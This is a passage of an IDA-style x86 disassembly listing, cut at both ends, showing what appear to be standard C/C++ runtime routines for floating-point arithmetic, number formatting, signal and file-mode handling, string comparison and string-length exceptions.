loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC014
		mov	eax, offset dword_4DC014
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC010
		mov	eax, offset dword_4DC010
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC018
		mov	eax, offset dword_4DC018
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DC00C
		mov	eax, offset dword_4DC00C


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBEAC
		and	dword_4DBEAC, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4DC
		mov	dword_43D4DC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4D0
		mov	ecx, dword_43D4D4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D460h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4DC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBEAC, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4DC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4D8
		cmp	dword_43D45C, edx
		push	esi
		mov	eax, offset dword_43D458
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D458h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D458h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD160
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDEC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDEC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D838
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D998
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 28C20C0h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE94, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
